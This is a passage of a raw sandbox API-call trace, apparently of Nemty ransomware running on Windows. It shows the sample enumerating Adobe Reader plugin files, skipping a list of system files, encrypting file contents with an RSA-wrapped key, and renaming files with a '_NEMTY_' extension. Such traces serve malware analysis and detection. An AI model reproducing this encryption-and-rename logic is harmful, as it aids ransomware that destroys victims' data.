hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0192.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0192.550] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.550] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0192.552] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.552] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0192.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.552] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0192.552] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0192.552] CloseHandle (hObject=0x2f0) returned 1 [0192.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0192.552] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.552] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0192.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0192.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0192.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.552] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\Flash.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\flash.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\Flash.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\flash.ukr._nemty_kgobjgd_")) returned 1 [0192.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0192.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0192.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f8 | out: hHeap=0x4f90000) returned 1 [0192.553] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="MCIMPP.UKR", cAlternateFileName="")) returned 1 [0192.553] lstrcmpiW (lpString1="MCIMPP.UKR", lpString2=".") returned 1 [0192.553] lstrcmpiW (lpString1="MCIMPP.UKR", lpString2="..") returned 1 [0192.553] lstrcmpiW (lpString1="MCIMPP.UKR", lpString2="...") returned 1 [0192.553] lstrcmpiW (lpString1="MCIMPP.UKR", lpString2="windows") returned -1 [0192.553] lstrcmpiW (lpString1="MCIMPP.UKR", lpString2="$RECYCLE.BIN") returned 1 [0192.553] lstrcmpiW (lpString1="MCIMPP.UKR", lpString2="rsa") returned -1 [0192.553] lstrcmpiW (lpString1="MCIMPP.UKR", lpString2="NTDETECT.COM") returned -1 [0192.553] lstrcmpiW (lpString1="MCIMPP.UKR", lpString2="ntldr") returned -1 [0192.553] lstrcmpiW (lpString1="MCIMPP.UKR", lpString2="MSDOS.SYS") returned -1 [0192.553] lstrcmpiW (lpString1="MCIMPP.UKR", lpString2="IO.SYS") returned 1 [0192.554] lstrcmpiW (lpString1="MCIMPP.UKR", lpString2="boot.ini") returned 1 [0192.554] lstrcmpiW (lpString1="MCIMPP.UKR", lpString2="boot.ini") returned 1 [0192.554] lstrcmpiW (lpString1="MCIMPP.UKR", lpString2="AUTOEXEC.BAT") returned 1 [0192.554] lstrcmpiW (lpString1="MCIMPP.UKR", lpString2="ntuser.dat") returned -1 [0192.554] lstrcmpiW (lpString1="MCIMPP.UKR", lpString2="desktop.ini") returned 1 [0192.554] lstrcmpiW (lpString1="MCIMPP.UKR", lpString2="CONFIG.SYS") returned 1 [0192.554] lstrcmpiW (lpString1="MCIMPP.UKR", lpString2="RECYCLER") returned -1 [0192.554] lstrcmpiW (lpString1="MCIMPP.UKR", lpString2="BOOTSECT.BAK") returned 1 [0192.554] lstrcmpiW (lpString1="MCIMPP.UKR", lpString2="bootmgr") returned 1 [0192.554] lstrcmpiW (lpString1="MCIMPP.UKR", lpString2="programdata") returned -1 [0192.554] lstrcmpiW (lpString1="MCIMPP.UKR", lpString2="appdata") returned 1 [0192.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.554] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.UKR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.554] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.UKR", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.UKR", lpUsedDefaultChar=0x0) returned 10 [0192.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.554] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.UKR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.554] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.UKR", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.UKR", lpUsedDefaultChar=0x0) returned 10 [0192.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.554] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.UKR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.554] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.UKR", cchWideChar=10, lpMultiByteStr=0x653e5a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.UKR", lpUsedDefaultChar=0x0) returned 10 [0192.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.554] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.UKR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.554] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.UKR", cchWideChar=10, lpMultiByteStr=0x653e5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.UKR", lpUsedDefaultChar=0x0) returned 10 [0192.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63402f8 [0192.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0192.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0192.554] Sleep (dwMilliseconds=0x5) [0192.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x266c91b0, dwHighDateTime=0x1d561e8)) [0192.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x266c91b0, dwHighDateTime=0x1d561e8)) [0192.564] GetLastError () returned 0x0 [0192.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.564] GetLastError () returned 0x0 [0192.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.564] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0192.565] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0192.565] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0192.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0192.565] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e29c | out: pszString="+0FdlzBSQaKvnH5RziXaYfj4f/QNSEpEKpRhwUMFrnF57FzSQseH6s/ugj7pybZ7\r\nnPkvxLEHYXDbbupYJ3vNp9DJjA7R9/4peQl6Nj30zIYBeOjGAJdYcFn2+2JBhZH3\r\n/tYFgA6exXdwml1Ut6WSLYv5a1y/VI69CodSEsyKXb0h/iztnZhe+lDxACTUJnTJ\r\neebpCQ1DycII6d0F1W1aknLos6k22uP9StuWaoeiqChtEVgoWImuoodtMaaToXG7\r\n9/pS7CC8wae2YIY69wq8VY0TtM2po5fBrUqF9YkDqpwfM2sUU1/bDk/PkBGtX1As\r\nrsiUcDnhJ+5ZwQxSNCmGrQ==\r\n", pcchString=0x653e29c) returned 1 [0192.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0192.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0192.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0192.565] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\MCIMPP.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\mcimpp.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0192.565] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=8192) returned 1 [0192.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0192.565] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.565] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x2000, lpOverlapped=0x0) returned 1 [0192.567] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.567] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x2000, lpOverlapped=0x0) returned 1 [0192.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0192.567] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0192.568] WriteFile (in: hFile=0x2f0, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0192.568] CloseHandle (hObject=0x2f0) returned 1 [0192.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0192.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0192.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0192.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0192.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.568] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\MCIMPP.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\mcimpp.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\MCIMPP.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\mcimpp.ukr._nemty_kgobjgd_")) returned 1 [0192.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0192.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0192.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.569] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="QuickTime.UKR", cAlternateFileName="QUICKT~1.UKR")) returned 1 [0192.569] lstrcmpiW (lpString1="QuickTime.UKR", lpString2=".") returned 1 [0192.569] lstrcmpiW (lpString1="QuickTime.UKR", lpString2="..") returned 1 [0192.569] lstrcmpiW (lpString1="QuickTime.UKR", lpString2="...") returned 1 [0192.569] lstrcmpiW (lpString1="QuickTime.UKR", lpString2="windows") returned -1 [0192.569] lstrcmpiW (lpString1="QuickTime.UKR", lpString2="$RECYCLE.BIN") returned 1 [0192.569] lstrcmpiW (lpString1="QuickTime.UKR", lpString2="rsa") returned -1 [0192.569] lstrcmpiW (lpString1="QuickTime.UKR", lpString2="NTDETECT.COM") returned 1 [0192.569] lstrcmpiW (lpString1="QuickTime.UKR", lpString2="ntldr") returned 1 [0192.569] lstrcmpiW (lpString1="QuickTime.UKR", lpString2="MSDOS.SYS") returned 1 [0192.569] lstrcmpiW (lpString1="QuickTime.UKR", lpString2="IO.SYS") returned 1 [0192.569] lstrcmpiW (lpString1="QuickTime.UKR", lpString2="boot.ini") returned 1 [0192.569] lstrcmpiW (lpString1="QuickTime.UKR", lpString2="boot.ini") returned 1 [0192.569] lstrcmpiW (lpString1="QuickTime.UKR", lpString2="AUTOEXEC.BAT") returned 1 [0192.569] lstrcmpiW (lpString1="QuickTime.UKR", lpString2="ntuser.dat") returned 1 [0192.569] lstrcmpiW (lpString1="QuickTime.UKR", lpString2="desktop.ini") returned 1 [0192.569] lstrcmpiW (lpString1="QuickTime.UKR", lpString2="CONFIG.SYS") returned 1 [0192.570] lstrcmpiW (lpString1="QuickTime.UKR", lpString2="RECYCLER") returned -1 [0192.570] lstrcmpiW (lpString1="QuickTime.UKR", lpString2="BOOTSECT.BAK") returned 1 [0192.570] lstrcmpiW (lpString1="QuickTime.UKR", lpString2="bootmgr") returned 1 [0192.570] lstrcmpiW (lpString1="QuickTime.UKR", lpString2="programdata") returned 1 [0192.570] lstrcmpiW (lpString1="QuickTime.UKR", lpString2="appdata") returned 1 [0192.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.UKR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.UKR", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.UKR", lpUsedDefaultChar=0x0) returned 13 [0192.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.UKR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.UKR", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.UKR", lpUsedDefaultChar=0x0) returned 13 [0192.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.UKR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.UKR", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.UKR", lpUsedDefaultChar=0x0) returned 13 [0192.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.UKR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.UKR", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.UKR", lpUsedDefaultChar=0x0) returned 13 [0192.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0192.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f8 | out: hHeap=0x4f90000) returned 1 [0192.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340260 [0192.570] Sleep (dwMilliseconds=0x5) [0192.580] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x266ef310, dwHighDateTime=0x1d561e8)) [0192.580] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x266ef310, dwHighDateTime=0x1d561e8)) [0192.580] GetLastError () returned 0x0 [0192.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.580] GetLastError () returned 0x0 [0192.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.580] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0192.580] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0192.580] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0192.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0192.580] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e29c | out: 